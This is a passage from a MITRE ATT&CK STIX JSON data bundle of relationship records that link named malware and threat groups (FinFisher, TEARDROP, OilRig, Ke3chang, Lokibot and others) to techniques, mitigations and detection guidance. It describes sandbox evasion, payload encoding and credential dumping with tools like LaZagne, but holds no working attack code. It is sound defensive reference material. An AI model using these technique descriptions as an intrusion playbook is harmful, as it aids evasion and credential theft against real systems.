patterns, anomalous syntax, or structure). Consider correlation with process monitoring and command line to detect anomalous processes execution and command line arguments associated to traffic patterns (e.g. monitor anomalies in use of files that do not normally initiate connections for respective protocol(s)).","source_ref":"x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c","target_ref":"attack-pattern--24bfaeba-cb0d-4525-b3dc-507c77ecec41","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[]},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--448b7967-1a0b-4ea9-9d7f-b5c4a721673b","type":"relationship","created":"2022-03-14T16:28:20.033Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[],"modified":"2022-03-14T16:28:20.033Z","description":"By requiring a password, even if an adversary can get terminal access, they must know the password to run anything in the sudoers file. Setting the <code>timestamp_timeout</code> to 0 will require the user to input their password every time <code>sudo</code> is executed.","relationship_type":"mitigates","source_ref":"course-of-action--9bb9e696-bff8-4ae1-9454-961fc7d91d5f","target_ref":"attack-pattern--1365fe3b-0f50-455d-b4da-266ce31c23b0","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--263d83dc-b78f-42de-8518-6d1456c01b90","type":"relationship","created":"2019-01-29T19:09:26.707Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://researchcenter.paloaltonetworks.com/2017/11/unit42-uboatrat-navigates-east-asia/","description":"Hayashi, K. (2017, November 28). UBoatRAT Navigates East Asia. Retrieved January 12, 2018.","source_name":"PaloAlto UBoatRAT Nov 2017"}],"modified":"2019-04-19T15:10:04.409Z","description":"[UBoatRAT](https://attack.mitre.org/software/S0333) uses ports 80 and 443 for C2 communications.(Citation: PaloAlto UBoatRAT Nov 2017)","relationship_type":"uses","source_ref":"malware--518bb5f1-91f4-4ff2-b09d-5a94e1ebe95f","target_ref":"attack-pattern--f879d51c-5476-431c-aedf-f14d207e4d1e","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--d878a055-0053-45a9-a724-52f59e0486c7","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"http://www.finfisher.com/FinFisher/index.html","description":"FinFisher. (n.d.). Retrieved December 20, 2017.","source_name":"FinFisher Citation"},{"url":"https://cloudblogs.microsoft.com/microsoftsecure/2018/03/01/finfisher-exposed-a-researchers-tale-of-defeating-traps-tricks-and-complex-virtual-machines/","description":"Allievi, A.,Flori, E. (2018, March 01). FinFisher exposed: A researcher’s tale of defeating traps, tricks, and complex virtual machines. Retrieved July 9, 2018.","source_name":"Microsoft FinFisher March 2018"}],"modified":"2019-08-12T17:30:07.506Z","description":"[FinFisher](https://attack.mitre.org/software/S0182) checks its parent process for indications that it is running in a sandbox setup.(Citation: FinFisher Citation)(Citation: Microsoft FinFisher March 2018)","relationship_type":"uses","source_ref":"malware--a5528622-3a8a-4633-86ce-8cdaf8423858","target_ref":"attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--6c5378fb-d1d3-4873-bf38-5553df5b8845","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"fsecure NanHaiShu July 2016","description":"F-Secure Labs. (2016, July). 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Retrieved September 21, 2017.","url":"https://securelist.com/introducing-whitebear/81638/"}],"modified":"2020-03-17T01:22:43.612Z","description":"[Gazer](https://attack.mitre.org/software/S0168) can establish persistence by creating a .lnk file in the Start menu.(Citation: ESET Gazer Aug 2017)(Citation: Securelist WhiteBear Aug 2017)","relationship_type":"uses","source_ref":"malware--76abb3ef-dafd-4762-97cb-a35379429db4","target_ref":"attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--3863f565-a654-45ad-8fb9-43d016d9b8a4","created":"2022-03-30T14:26:51.867Z","x_mitre_version":"0.1","external_references":[{"source_name":"Apple Unified Log Analysis Remote Login and Screen Sharing","url":"https://sarah-edwards-xzkc.squarespace.com/blog/2020/4/30/analysis-of-apple-unified-logs-quarantine-edition-entry-6-working-from-home-remote-logins","description":"Sarah Edwards. (2020, April 30). Analysis of Apple Unified Logs: Quarantine Edition [Entry 6] – Working From Home? Remote Logins. Retrieved August 19, 2021."}],"x_mitre_deprecated":false,"revoked":false,"description":"Monitor for newly executed processes that may use [Valid Accounts](https://attack.mitre.org/techniques/T1078) to log into remote machines using Secure Shell (SSH). For example, on macOS systems <code>log show --predicate 'process = \"sshd\"'</code> can be used to review incoming SSH connection attempts for suspicious activity. The command <code>log show --info --predicate 'process = \"ssh\" or eventMessage contains \"ssh\"'</code> can be used to review outgoing SSH connection activity.(Citation: Apple Unified Log Analysis Remote Login and Screen Sharing)","modified":"2022-04-19T23:49:22.676Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"detects","source_ref":"x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077","target_ref":"attack-pattern--2db31dcd-54da-405d-acef-b9129b816ed6","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--a71256aa-a2e3-447c-ba4e-004ba4f062b2","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Bitdefender APT28 Dec 2015","description":"Bitdefender. (2015, December). APT28 Under the Scope. Retrieved February 23, 2017.","url":"https://download.bitdefender.com/resources/media/materials/white-papers/en/Bitdefender_In-depth_analysis_of_APT28%E2%80%93The_Political_Cyber-Espionage.pdf"}],"modified":"2020-03-16T15:53:20.517Z","description":"[ADVSTORESHELL](https://attack.mitre.org/software/S0045) is capable of setting and deleting Registry values.(Citation: Bitdefender APT28 Dec 2015)","relationship_type":"uses","source_ref":"malware--fb575479-14ef-41e9-bfab-0b7cf10bec73","target_ref":"attack-pattern--57340c81-c025-4189-8fa0-fc7ede51bae4","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--570df7f7-f2d5-4de9-ba74-4adfa99e980f","type":"relationship","created":"2021-01-06T17:34:44.009Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"FireEye SUNBURST Backdoor December 2020","url":"https://www.fireeye.com/blog/threat-research/2020/12/evasive-attacker-leverages-solarwinds-supply-chain-compromises-with-sunburst-backdoor.html","description":"FireEye. (2020, December 13). Highly Evasive Attacker Leverages SolarWinds Supply Chain to Compromise Multiple Global Victims With SUNBURST Backdoor. Retrieved January 4, 2021."},{"source_name":"Check Point Sunburst Teardrop December 2020","url":"https://research.checkpoint.com/2020/sunburst-teardrop-and-the-netsec-new-normal/","description":"Check Point Research. (2020, December 22). SUNBURST, TEARDROP and the NetSec New Normal. Retrieved January 6, 2021."},{"source_name":"Microsoft Deep Dive Solorigate January 2021","url":"https://www.microsoft.com/security/blog/2021/01/20/deep-dive-into-the-solorigate-second-stage-activation-from-sunburst-to-teardrop-and-raindrop/","description":"MSTIC, CDOC, 365 Defender Research Team. (2021, January 20). Deep dive into the Solorigate second-stage activation: From SUNBURST to TEARDROP and Raindrop . Retrieved January 22, 2021."}],"modified":"2021-01-25T18:11:07.709Z","description":"[TEARDROP](https://attack.mitre.org/software/S0560) created and read from a file with a fake JPG header, and its payload was encrypted with a simple rotating XOR cipher.(Citation: FireEye SUNBURST Backdoor December 2020)(Citation: Check Point Sunburst Teardrop December 2020)(Citation: Microsoft Deep Dive Solorigate January 2021)","relationship_type":"uses","source_ref":"malware--32f49626-87f4-4d6c-8f59-a0dca953fe26","target_ref":"attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--38f5e690-1ed8-45a8-a6cc-9dfe8e953706","type":"relationship","created":"2022-03-30T14:26:51.871Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.871Z","description":"Administrators should set up monitoring to trigger automatic alerts when policy criteria are met. For example, using a Cloud Access Security Broker (CASB), admins can create a “High severity app permissions” policy that generates alerts if apps request high severity permissions or send permissions requests for too many users.\nSecurity analysts can hunt for malicious apps using the tools available in their CASB, identity provider, or resource provider (depending on platform.) For example, they can filter for apps that are authorized by a small number of users, apps requesting high risk permissions, permissions incongruous with the app’s purpose, or apps with old “Last authorized” fields. A specific app can be investigated using an activity log displaying activities the app has performed, although some activities may be mis-logged as being performed by the user. App stores can be useful resources to further investigate suspicious apps.\nAdministrators can set up a variety of logs and leverage audit tools to monitor actions that can be conducted as a result of OAuth 2.0 access. For instance, audit reports enable admins to identify privilege escalation actions such as role creations or policy modifications, which could be actions performed after initial access.","source_ref":"x-mitre-data-component--d27b0089-2c39-4b6c-84ff-303e48657e77","target_ref":"attack-pattern--890c9858-598c-401d-a4d5-c67ebcdd703a","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[]},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--8f27fb1d-f888-4167-a08c-781dde29755d","created":"2022-04-15T14:54:42.003Z","x_mitre_version":"0.1","external_references":[{"source_name":"Trend Micro Iron Tiger April 2021","url":"https://www.trendmicro.com/en_us/research/21/d/iron-tiger-apt-updates-toolkit-with-evolved-sysupdate-malware-va.html","description":"Lunghi, D. and Lu, K. (2021, April 9). Iron Tiger APT Updates Toolkit With Evolved SysUpdate Malware. Retrieved November 12, 2021."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Pandora](https://attack.mitre.org/software/S0664) can identify if incoming HTTP traffic contains a token and if so it will intercept the traffic and process the received command.(Citation: Trend Micro Iron Tiger April 2021)","modified":"2022-04-15T14:54:42.003Z","relationship_type":"uses","source_ref":"malware--a545456a-f9a7-47ad-9ea6-8b017def38d1","target_ref":"attack-pattern--451a9977-d255-43c9-b431-66de80130c8c","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--8b245546-d5ed-4ff8-b5a6-7c97250ce026","type":"relationship","created":"2021-02-17T20:27:27.451Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"IBM MegaCortex","url":"https://securityintelligence.com/posts/from-mega-to-giga-cross-version-comparison-of-top-megacortex-modifications/","description":"Del Fierro, C. Kessem, L.. (2020, January 8). From Mega to Giga: Cross-Version Comparison of Top MegaCortex Modifications. Retrieved February 15, 2021."},{"source_name":"mbed-crypto","url":"https://github.com/ARMmbed/mbed-crypto","description":"ARMmbed. (2018, June 21). Mbed Crypto. Retrieved February 15, 2021."}],"modified":"2021-03-31T18:43:23.367Z","description":"[MegaCortex](https://attack.mitre.org/software/S0576) has used the open-source library, Mbed Crypto, and generated AES keys to carry out the file encryption process.(Citation: IBM MegaCortex)(Citation: mbed-crypto)","relationship_type":"uses","source_ref":"malware--909617c3-6d87-4330-8f32-bd3af38c3b92","target_ref":"attack-pattern--b80d107d-fa0d-4b60-9684-b0433e8bdba0","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--463051f0-c988-447c-9820-34e16ad61898","type":"relationship","created":"2022-03-30T14:26:51.863Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.863Z","description":"Monitor for changes made to /proc files that may inject malicious code into processes via the /proc filesystem in order to evade process-based defenses as well as possibly elevate privileges. Users should not have permission to modify these in most cases. ","source_ref":"x-mitre-data-component--84572de3-9583-4c73-aabd-06ea88123dd8","target_ref":"attack-pattern--d201d4cc-214d-4a74-a1ba-b3fa09fd4591","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[]},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--9e753c36-66d8-4f48-8b06-fbb9fdc92f76","type":"relationship","created":"2021-10-12T06:45:36.902Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[],"modified":"2021-10-15T19:48:30.034Z","description":"Enable the Hardened Runtime capability when developing applications. Do not include the <code>com.apple.security.get-task-allow</code> entitlement with the value set to any variation of true. ","relationship_type":"mitigates","source_ref":"course-of-action--25dc1ce8-eb55-4333-ae30-a7cb4f5894a1","target_ref":"attack-pattern--8252f135-ed26-4ce1-ae61-f26e94429a19","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--8baa00da-64da-4acb-831e-2c001399394a","type":"relationship","created":"2020-12-14T17:34:58.575Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Symantec W.32 Stuxnet Dossier","url":"https://www.wired.com/images_blogs/threatlevel/2010/11/w32_stuxnet_dossier.pdf ","description":"Nicolas Falliere, Liam O. Murchu, Eric Chien. (2011, February). W32.Stuxnet Dossier. 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(2017, March 10). DDoS Overview and Response Guide. Retrieved April 24, 2019."}],"modified":"2022-03-25T19:39:42.808Z","description":"Leverage services provided by Content Delivery Networks (CDN) or providers specializing in DoS mitigations to filter traffic upstream from services.(Citation: CERT-EU DDoS March 2017) Filter boundary traffic by blocking source addresses sourcing the attack, blocking ports that are being targeted, or blocking protocols being used for transport. To defend against SYN floods, enable SYN Cookies.","relationship_type":"mitigates","source_ref":"course-of-action--82c21600-ccb6-4232-8c04-ef3792b56628","target_ref":"attack-pattern--0df05477-c572-4ed6-88a9-47c581f548f7","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--434cc89e-291d-44e7-b18a-9710c659bd64","type":"relationship","created":"2021-01-25T13:58:25.273Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Securelist Dtrack","url":"https://securelist.com/my-name-is-dtrack/93338/","description":"Konstantin Zykov. (2019, September 23). Hello! My name is Dtrack. Retrieved January 20, 2021."}],"modified":"2021-04-27T00:05:45.696Z","description":"[Dtrack](https://attack.mitre.org/software/S0567) can remove its persistence and delete itself.(Citation: Securelist Dtrack)","relationship_type":"uses","source_ref":"malware--f8774023-8021-4ece-9aca-383ac89d2759","target_ref":"attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--ff9744d6-d6f8-4451-bf4a-3391d2178da8","type":"relationship","created":"2021-01-12T17:25:04.786Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"FireEye TRITON 2017","url":"https://www.fireeye.com/blog/threat-research/2017/12/attackers-deploy-new-ics-attack-framework-triton.html","description":"Johnson, B, et. al. (2017, December 14). Attackers Deploy New ICS Attack Framework \"TRITON\" and Cause Operational Disruption to Critical Infrastructure. Retrieved January 6, 2021."}],"modified":"2021-05-04T18:29:55.805Z","description":"[TRITON](https://attack.mitre.org/software/S0609) encoded the two inject.bin and imain.bin payloads.(Citation: FireEye TRITON 2017)","relationship_type":"uses","source_ref":"malware--93ae2edf-a598-4d2d-acd7-bcae0c021923","target_ref":"attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--c031bd06-453b-4f80-9a04-98e74a420323","type":"relationship","created":"2022-03-22T14:44:05.864Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Microsoft NICKEL December 2021","url":"https://www.microsoft.com/security/blog/2021/12/06/nickel-targeting-government-organizations-across-latin-america-and-europe","description":"MSTIC. (2021, December 6). NICKEL targeting government organizations across Latin America and Europe. Retrieved March 18, 2022."}],"modified":"2022-03-22T14:44:05.864Z","description":"[Ke3chang](https://attack.mitre.org/groups/G0004) has used NTDSDump and other password dumping tools to gather credentials.(Citation: Microsoft NICKEL December 2021)","relationship_type":"uses","source_ref":"intrusion-set--6713ab67-e25b-49cc-808d-2b36d4fbc35c","target_ref":"attack-pattern--edf91964-b26e-4b4a-9600-ccacd7d7df24","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--a67d4b9b-0c8f-41d8-a7f2-6d4c61fcb1ea","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET Sednit USBStealer 2014","description":"Calvet, J. (2014, November 11). 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Retrieved May 29, 2020."}],"modified":"2020-06-16T16:43:36.244Z","description":"[SDBbot](https://attack.mitre.org/software/S0461) has the ability to use port forwarding to establish a proxy between a target host and C2.(Citation: Proofpoint TA505 October 2019)","relationship_type":"uses","source_ref":"malware--92b03a94-7147-4952-9d5a-b4d24da7487c","target_ref":"attack-pattern--731f4f55-b6d0-41d1-a7a9-072a66389aea","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--d9a49337-e1a4-49ee-b0f1-ef80c7c37a99","type":"relationship","created":"2020-11-09T14:52:45.740Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Cybereason Kimsuky November 2020","url":"https://www.cybereason.com/blog/back-to-the-future-inside-the-kimsuky-kgh-spyware-suite","description":"Dahan, A. et al. (2020, November 2). Back to the Future: Inside the Kimsuky KGH Spyware Suite. Retrieved November 6, 2020."}],"modified":"2020-11-09T14:52:45.740Z","description":"[CSPY Downloader](https://attack.mitre.org/software/S0527) can search loaded modules, PEB structure, file paths, Registry keys, and memory to determine if it is being debugged or running in a virtual environment.(Citation: Cybereason Kimsuky November 2020)","relationship_type":"uses","source_ref":"tool--5256c0f8-9108-4c92-8b09-482dfacdcd94","target_ref":"attack-pattern--29be378d-262d-4e99-b00d-852d573628e6","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--6f5aaa40-a294-4b8f-8bd3-0f34ce8a0612","type":"relationship","created":"2020-03-09T14:15:05.744Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[],"modified":"2021-07-26T22:34:43.343Z","description":"Use application control where appropriate.","relationship_type":"mitigates","source_ref":"course-of-action--47e0e9fe-96ce-4f65-8bb1-8be1feacb5db","target_ref":"attack-pattern--a9d4b653-6915-42af-98b2-5758c4ceee56","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--c27b0834-d1b8-440f-9b35-e15e78ecd715","type":"relationship","created":"2020-03-19T23:50:06.591Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://pan-unit42.github.io/playbook_viewer/","description":"Unit 42. (2017, December 15). Unit 42 Playbook Viewer. Retrieved December 20, 2017.","source_name":"Unit 42 Playbook Dec 2017"},{"url":"https://www.brighttalk.com/webcast/10703/296317/apt34-new-targeted-attack-in-the-middle-east","description":"Davis, S. and Caban, D. (2017, December 19). APT34 - New Targeted Attack in the Middle East. Retrieved December 20, 2017.","source_name":"FireEye APT34 Webinar Dec 2017"},{"source_name":"FireEye APT35 2018","description":"Mandiant. (2018). Mandiant M-Trends 2018. Retrieved July 9, 2018.","url":"https://www.fireeye.com/content/dam/collateral/en/mtrends-2018.pdf"},{"source_name":"FireEye APT34 July 2019","url":"https://www.fireeye.com/blog/threat-research/2019/07/hard-pass-declining-apt34-invite-to-join-their-professional-network.html","description":"Bromiley, M., et al.. (2019, July 18). Hard Pass: Declining APT34’s Invite to Join Their Professional Network. Retrieved August 26, 2019."}],"modified":"2020-03-19T23:50:06.591Z","description":"[OilRig](https://attack.mitre.org/groups/G0049) has used credential dumping tools such as [LaZagne](https://attack.mitre.org/software/S0349) to steal credentials to accounts logged into the compromised system and to Outlook Web Access.(Citation: Unit 42 Playbook Dec 2017)(Citation: FireEye APT34 Webinar Dec 2017)(Citation: FireEye APT35 2018)(Citation: FireEye APT34 July 2019)","relationship_type":"uses","source_ref":"intrusion-set--4ca1929c-7d64-4aab-b849-badbfc0c760d","target_ref":"attack-pattern--3fc9b85a-2862-4363-a64d-d692e3ffbee0","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--6edbc35f-fc02-43ba-84d2-17ff8100f094","type":"relationship","created":"2020-07-23T14:20:48.749Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Trustwave GoldenSpy June 2020","url":"https://www.trustwave.com/en-us/resources/library/documents/the-golden-tax-department-and-the-emergence-of-goldenspy-malware/","description":"Trustwave SpiderLabs. (2020, June 25). The Golden Tax Department and Emergence of GoldenSpy Malware. Retrieved July 23, 2020."}],"modified":"2020-08-19T16:31:40.703Z","description":"[GoldenSpy](https://attack.mitre.org/software/S0493) has been packaged with a legitimate tax preparation software.(Citation: Trustwave GoldenSpy June 2020)","relationship_type":"uses","source_ref":"malware--b9704a7d-feef-4af9-8898-5280f1686326","target_ref":"attack-pattern--bd369cd9-abb8-41ce-b5bb-fff23ee86c00","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--817dc3ce-3e77-4e91-a9e4-9c8c8579e722","created":"2022-03-21T22:15:27.551Z","x_mitre_version":"1.0","external_references":[{"source_name":"Objective See Green Lambert for OSX Oct 2021","url":"https://objective-see.com/blog/blog_0x68.html","description":"Sandvik, Runa. (2021, October 1). Made In America: Green Lambert for OS X. Retrieved March 21, 2022."},{"source_name":"Glitch-Cat Green Lambert ATTCK Oct 2021","url":"https://www.glitch-cat.com/blog/green-lambert-and-attack","description":"Sandvik, Runa. (2021, October 18). Green Lambert and ATT&CK. Retrieved March 21, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Green Lambert](https://attack.mitre.org/software/S0690) can use multiple custom routines to decrypt strings prior to execution.(Citation: Objective See Green Lambert for OSX Oct 2021)(Citation: Glitch-Cat Green Lambert ATTCK Oct 2021)","modified":"2022-04-20T17:23:42.829Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"malware--59c8a28c-200c-4565-9af1-cbdb24870ba0","target_ref":"attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--1c5b0ac8-43bb-4e04-812a-e3518755f84e","type":"relationship","created":"2022-03-30T14:26:51.846Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.846Z","description":"Consider monitoring for <code>/usr/libexec/security_authtrampoline</code> executions which may indicate that <code>AuthorizationExecuteWithPrivileges</code> is being executed. MacOS system logs may also indicate when <code>AuthorizationExecuteWithPrivileges</code> is being called.","source_ref":"x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077","target_ref":"attack-pattern--b84903f0-c7d5-435d-a69e-de47cc3578c0","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[]},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--6160a359-35cc-4bbe-ac29-500f2751ed4b","type":"relationship","created":"2019-09-23T22:53:30.245Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"FireEye APT41 Aug 2019","url":"https://content.fireeye.com/apt-41/rpt-apt41","description":"Fraser, N., et al. (2019, August 7). Double DragonAPT41, a dual espionage and cyber crime operation APT41. Retrieved September 23, 2019."}],"modified":"2019-10-14T21:52:59.533Z","description":"[APT41](https://attack.mitre.org/groups/G0096) sent spearphishing emails with attachments such as compiled HTML (.chm) files to initially compromise their victims.(Citation: FireEye APT41 Aug 2019)","relationship_type":"uses","source_ref":"intrusion-set--18854f55-ac7c-4634-bd9a-352dd07613b7","target_ref":"attack-pattern--2e34237d-8574-43f6-aace-ae2915de8597","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--710919f6-2c74-4f41-be51-af848ad691af","type":"relationship","created":"2021-10-11T15:42:17.214Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Talos Lokibot Jan 2021","url":"https://blog.talosintelligence.com/2021/01/a-deep-dive-into-lokibot-infection-chain.html","description":"Muhammad, I., Unterbrink, H.. (2021, January 6). A Deep Dive into Lokibot Infection Chain. Retrieved August 31, 2021."}],"modified":"2021-10-11T15:42:17.214Z","description":"[Lokibot](https://attack.mitre.org/software/S0447) has modified the Registry as part of its UAC bypass process.(Citation: Talos Lokibot Jan 2021) ","relationship_type":"uses","source_ref":"malware--cb741463-f0fe-42e0-8d45-bc7e8335f5ae","target_ref":"attack-pattern--57340c81-c025-4189-8fa0-fc7ede51bae4","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--a1c0db19-e187-480b-85d4-6e5672480d33","type":"relationship","created":"2021-09-15T14:37:10.659Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Bitdefender FIN8 July 2021","url":"https://businessinsights.bitdefender.com/deep-dive-into-a-fin8-attack-a-forensic-investigation","description":"Martin Zugec. (2021, July 27). Deep Dive Into a FIN8 Attack - A Forensic Investigation. Retrieved September 1, 2021."}],"modified":"2021-09-15T14:37:10.659Z","description":"[FIN8](https://attack.mitre.org/groups/G0061) has used HTTPS for command and control.(Citation: Bitdefender FIN8 July 